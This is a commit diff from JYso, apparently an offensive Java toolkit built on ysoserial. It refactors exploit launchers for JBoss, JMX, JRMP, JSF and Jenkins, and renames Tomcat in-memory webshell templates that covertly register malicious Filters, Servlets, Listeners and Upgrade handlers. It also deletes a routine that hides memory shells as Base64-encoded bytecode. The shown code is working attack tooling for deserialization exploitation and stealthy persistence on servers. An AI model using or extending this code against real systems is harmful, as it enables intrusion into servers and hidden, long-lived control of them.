修复 Exploit

build.gradle

@@ -101,7 +101,7 @@ dependencies {
 }
 
 group = 'org.example'
-version = '1.3.1'
+version = '1.3.2'
 description = 'JYso'
 java.sourceCompatibility = JavaVersion.VERSION_1_8
 

src/main/java/com/qi4l/jndi/controllers/ysoserial.java

@@ -142,7 +142,6 @@ public class ysoserial {
 
             // 储存生成的 payload
             PAYLOAD = object;
-
             if (isFromExploit()) {
                 return;
             }

src/main/java/com/qi4l/jndi/exploit/JBoss.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
 import com.qi4l.jndi.controllers.ysoserial;
 import com.qi4l.jndi.gadgets.utils.Reflections;
 import org.jboss.remoting3.Connection;
@@ -76,7 +76,7 @@ public class JBoss {
         String[] newArray = new String[args.length - 1];
         System.arraycopy(args, 1, newArray, 0, newArray.length);
 
-        Starter.main(newArray);
+        ysoserial(newArray);
         Object payloadObject = ysoserial.PAYLOAD;
 
         String username = null;

src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
 import com.qi4l.jndi.controllers.ysoserial;
 
 import javax.management.MBeanServerConnection;
@@ -32,7 +32,7 @@ public class JMXInvokeMBean {
         String[] newArray = new String[args.length - 2];
         System.arraycopy(args, 2, newArray, 0, newArray.length);
 
-        Starter.main(newArray);
+        ysoserial(newArray);
         Object payloadObject = ysoserial.PAYLOAD;
 
         ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");

src/main/java/com/qi4l/jndi/exploit/JRMPClient.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
 import com.qi4l.jndi.controllers.ysoserial;
 import sun.rmi.transport.TransportConstants;
 
@@ -38,7 +38,7 @@ public class JRMPClient {
         String[] newArray = new String[args.length - 2];
         System.arraycopy(args, 2, newArray, 0, newArray.length);
 
-        Starter.main(newArray);
+        ysoserial(newArray);
         Object payloadObject = ysoserial.PAYLOAD;
 
         try {

src/main/java/com/qi4l/jndi/exploit/JRMPListener.java

@@ -1,6 +1,7 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
+
 import com.qi4l.jndi.controllers.ysoserial;
 import com.qi4l.jndi.gadgets.utils.Reflections;
 import javassist.ClassClassPath;
@@ -70,7 +71,7 @@ public class JRMPListener implements Runnable {
         String[] newArray = new String[args.length - 1];
         System.arraycopy(args, 1, newArray, 0, newArray.length);
 
-        Starter.main(newArray);
+        ysoserial(newArray);
         final Object payloadObject = ysoserial.PAYLOAD;
 
         try {

src/main/java/com/qi4l/jndi/exploit/JSF.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
 import com.qi4l.jndi.controllers.ysoserial;
 import org.apache.commons.codec.binary.Base64;
 
@@ -46,7 +46,7 @@ public class JSF {
             String[] newArray = new String[args.length - 1];
             System.arraycopy(args, 1, newArray, 0, newArray.length);
 
-            Starter.main(newArray);
+            ysoserial(newArray);
             Object payloadObject = ysoserial.PAYLOAD;
 
             URLConnection c = u.openConnection();

src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
 import com.qi4l.jndi.controllers.ysoserial;
 import com.qi4l.jndi.gadgets.utils.Reflections;
 import hudson.remoting.Callable;
@@ -44,7 +44,7 @@ public class JenkinsCLI {
         String[] newArray = new String[args.length - 1];
         System.arraycopy(args, 1, newArray, 0, newArray.length);
 
-        Starter.main(newArray);
+        ysoserial(newArray);
         Object payloadObject = ysoserial.PAYLOAD;
 
         Channel c = null;

src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
 import com.qi4l.jndi.controllers.ysoserial;
 import com.qi4l.jndi.gadgets.JRMPListener;
 import com.qi4l.jndi.gadgets.utils.Reflections;
@@ -178,7 +178,7 @@ public class JenkinsListener {
             String[] newArray = new String[args.length - 2];
             System.arraycopy(args, 2, newArray, 0, newArray.length);
 
-            Starter.main(newArray);
+            ysoserial(newArray);
             Object payloadObject = ysoserial.PAYLOAD;
 
             objOut.writeObject(payloadObject);

src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.exploit;
 
-import com.qi4l.jndi.Starter;
+import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
 import com.qi4l.jndi.controllers.ysoserial;
 import com.qi4l.jndi.gadgets.JRMPClient;
 import hudson.remoting.Channel;
@@ -33,7 +33,7 @@ public class JenkinsReverse {
         String[] newArray = new String[args.length - 2];
         System.arraycopy(args, 2, newArray, 0, newArray.length);
 
-        Starter.main(newArray);
+        ysoserial(newArray);
         final Object payloadObject = ysoserial.PAYLOAD;
         String       myAddr        = args[1];
         int          jrmpPort      = new Random().nextInt(65536 - 1024) + 1024;

src/main/java/com/qi4l/jndi/gadgets/Config/Config.java

@@ -112,7 +112,7 @@ public class Config {
         // Listener 型内存马，通常使用 ServletRequestListener， 关键方法 requestInitializedHandle
         KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
         // Websocket 型内存马，关键方法 onMessage
-        KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
+        KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage");
         // Tomcat Upgrade 型内存马，关键方法 accept
         KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
         // Tomcat Executor 型内存马，关键方法 execute

src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java

@@ -2,7 +2,7 @@ package com.qi4l.jndi.gadgets.utils;
 
 import com.qi4l.jndi.gadgets.Config.Config;
 import com.qi4l.jndi.template.Agent.WinMenshell;
-import com.qi4l.jndi.template.memshellStatic.tomcat.TSMSFromJMXF;
+import com.qi4l.jndi.template.memshellStatic.tomcat.TFMSFromJMX;
 import javassist.*;
 import org.apache.commons.cli.CommandLine;
 import org.apache.commons.cli.CommandLineParser;
@@ -203,7 +203,7 @@ public class InjShell {
         //添加到类路径，防止出错
         ClassPool pool;
         pool = ClassPool.getDefault();
-        pool.insertClassPath(new ClassClassPath(TSMSFromJMXF.class));
+        pool.insertClassPath(new ClassClassPath(TFMSFromJMX.class));
         // 根据传入的不同参数，在不同方法中插入不同的逻辑
         CtMethod cm = ctClass.getDeclaredMethod(method);
         cm.setBody(payload);
@@ -287,46 +287,6 @@ public class InjShell {
     }
 
 
-    public static String structureShellTom(Class<?> payload) throws Exception {
-        Config.init();
-        ClassPool pool = ClassPool.getDefault();
-        pool.insertClassPath(new ClassClassPath(payload));
-        CtClass ctClass = pool.get(payload.getName());
-        InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type);
-        ctClass.setName(ClassNameUtils.generateClassName());
-        if (Config.winAgent) {
-            TinsertWinAgent(ctClass);
-            return injectClass(WinMenshell.class);
-        }
-        if (Config.linAgent) {
-            TinsertLinAgent(ctClass);
-            return injectClass(WinMenshell.class);
-        }
-        if (Config.HIDE_MEMORY_SHELL) {
-            switch (Config.HIDE_MEMORY_SHELL_TYPE) {
-                case 1:
-                    break;
-                case 2:
-                    CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
-                    newClass.setName(ClassNameUtils.generateClassName());
-                    String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
-                    String className = "className=\"" + ctClass.getName() + "\";";
-                    newClass.defrost();
-                    newClass.makeClassInitializer().insertBefore(content);
-                    newClass.makeClassInitializer().insertBefore(className);
-
-                    if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
-                        Class   abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
-                        CtClass superClass   = pool.get(abstTranslet.getName());
-                        newClass.setSuperclass(superClass);
-                    }
-
-                    return injectClass(newClass.getClass());
-            }
-        }
-        return injectClass(ctClass.getClass());
-    }
-
     //类加载方式，因类而异
     public static String injectClass(Class clazz) {
 

src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java

@@ -48,7 +48,7 @@ public class StringUtil {
     public static boolean isFromExploit() {
         StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
         for (int i = 0; i < stackTraceElements.length; i++) {
-            if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.gadgets.exploit")) {
+            if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.exploit")) {
                 return true;
             }
         }

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java

@@ -21,7 +21,7 @@ import java.util.Set;
  *
  * @author QI4L
  */
-public class TSMSFromJMXF implements Filter {
+public class TFMSFromJMX implements Filter {
     public static String pattern;
 
     public static String NAME;
@@ -68,7 +68,7 @@ public class TSMSFromJMXF implements Filter {
 
                     Object filterDef = filterDefClass.newInstance();
                     filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, NAME);
-                    Filter filter = new TSMSFromJMXF();
+                    Filter filter = new TFMSFromJMX();
 
                     filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName());
                     filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter);

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java

@@ -18,7 +18,7 @@ import java.util.List;
  * 遍历线程组，在 request 中查找带有特定 Header 的请求，并从 request 获取 ServletContext 添加 Filter 型内存马
  * 添加成功后，会回显 Success 字样，参考 ShiroAttack2
  */
-public class TFMSFromRequestF implements Filter {
+public class TFMSFromRequest implements Filter {
     public static HttpServletRequest request = null;
 
     public static HttpServletResponse response = null;
@@ -110,7 +110,7 @@ public class TFMSFromRequestF implements Filter {
 
     public static void addFilter() {
         ServletContext servletContext = request.getServletContext();
-        Filter         filter         = new TFMSFromRequestF();
+        Filter         filter         = new TFMSFromRequest();
         String         filterName     = NAME;
         String         url            = pattern;
         if (servletContext.getFilterRegistration(filterName) == null) {

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java

@@ -18,7 +18,7 @@ import java.util.Map;
  *
  * @author QI4L
  */
-public class TFMSFromThreadF implements Filter {
+public class TFMSFromThread implements Filter {
 
     public static String pattern;
 
@@ -55,7 +55,7 @@ public class TFMSFromThreadF implements Filter {
             Configs.setAccessible(true);
             Map filterConfigs = (Map) Configs.get(standardContext);
 
-            TFMSFromThreadF behinderFilter = new TFMSFromThreadF();
+            TFMSFromThread behinderFilter = new TFMSFromThread();
 
             FilterDef filterDef = new FilterDef();
             filterDef.setFilter(behinderFilter);

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java

@@ -23,7 +23,7 @@ import java.util.Set;
  *
  * @author QI4L
  */
-public class TLMSFromJMXLi implements ServletRequestListener {
+public class TLMSFromJMX implements ServletRequestListener {
 
     static {
         try {
@@ -52,7 +52,7 @@ public class TLMSFromJMXLi implements ServletRequestListener {
                 field.setAccessible(true);
                 StandardContext standardContext = (StandardContext) field.get(obj);
 
-                TLMSFromJMXLi listener = new TLMSFromJMXLi();
+                TLMSFromJMX listener = new TLMSFromJMX();
                 standardContext.addApplicationEventListener(listener);
             }
         } catch (Exception ignored) {

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java

@@ -15,7 +15,7 @@ import java.lang.reflect.Field;
 /**
  * 使用线程注入 Tomcat Listener 型内存马
  */
-public class TFMSFromThreadLi implements ServletRequestListener {
+public class TLMSFromThread implements ServletRequestListener {
     static {
         try {
             // 获取 standardContext
@@ -35,7 +35,7 @@ public class TFMSFromThreadLi implements ServletRequestListener {
                 standardContext = (StandardContext) field2.get(root);
             }
 
-            TFMSFromThreadLi listener = new TFMSFromThreadLi();
+            TLMSFromThread listener = new TLMSFromThread();
             standardContext.addApplicationEventListener(listener);
         } catch (Exception ignored) {
         }

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java

@@ -19,7 +19,7 @@ import java.util.Set;
  *
  * @author QI4L
  */
-public class TSMSFromJMXS implements Servlet {
+public class TSMSFromJMX implements Servlet {
 
     public static String pattern;
 
@@ -55,7 +55,7 @@ public class TSMSFromJMXS implements Servlet {
                     Wrapper wrapper = standardContext.createWrapper();
                     wrapper.setName(NAME);
                     standardContext.addChild(wrapper);
-                    Servlet servlet = new TSMSFromJMXS();
+                    Servlet servlet = new TSMSFromJMX();
                     wrapper.setServletClass(servlet.getClass().getName());
                     wrapper.setServlet(servlet);
                     ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java

@@ -21,7 +21,7 @@ import java.util.List;
  * 遍历线程组，在 request 中查找带有特定 Referer 的请求，并从 request 获取 ServletContext 添加 Servlet 型内存马
  * 添加成功后，会回显 Success 字样，参考 ShiroAttack2
  */
-public class TFMSFromRequestS implements Servlet {
+public class TSMSFromRequest implements Servlet {
     public static HttpServletRequest request = null;
 
     public static HttpServletResponse response = null;
@@ -124,7 +124,7 @@ public class TFMSFromRequestS implements Servlet {
             wrapper.setName(NAME);
             standardContext.addChild(wrapper);
 
-            Servlet servlet = new TFMSFromRequestS();
+            Servlet servlet = new TSMSFromRequest();
             wrapper.setServletClass(servlet.getClass().getName());
 
             wrapper.setServlet(servlet);

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java

@@ -13,7 +13,7 @@ import java.lang.reflect.Field;
  *
  * @author QI4L
  */
-public class TFMSFromThreadS implements Servlet {
+public class TSMSFromThread implements Servlet {
 
     public static String pattern;
 
@@ -43,7 +43,7 @@ public class TFMSFromThreadS implements Servlet {
                 Wrapper wrapper = standardContext.createWrapper();
                 wrapper.setName(NAME);
                 standardContext.addChild(wrapper);
-                Servlet servlet = new TFMSFromThreadS();
+                Servlet servlet = new TSMSFromThread();
 
                 wrapper.setServletClass(servlet.getClass().getName());
                 wrapper.setServlet(servlet);

src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java

@@ -20,7 +20,7 @@ import java.util.HashMap;
 /**
  * Tomcat Upgrade 内存马
  */
-public class TUGMSFromJMXuP implements UpgradeProtocol {
+public class TUGMSFromJMX implements UpgradeProtocol {
     public static String pattern;
 
     static {
@@ -58,7 +58,7 @@ public class TUGMSFromJMXuP implements UpgradeProtocol {
                     upgradeProtocolsField.setAccessible(true);
                     HashMap<String, UpgradeProtocol> upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
 
-                    upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMXuP());
+                    upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMX());
                     upgradeProtocolsField.set(handler, upgradeProtocols);
                     break;
                 }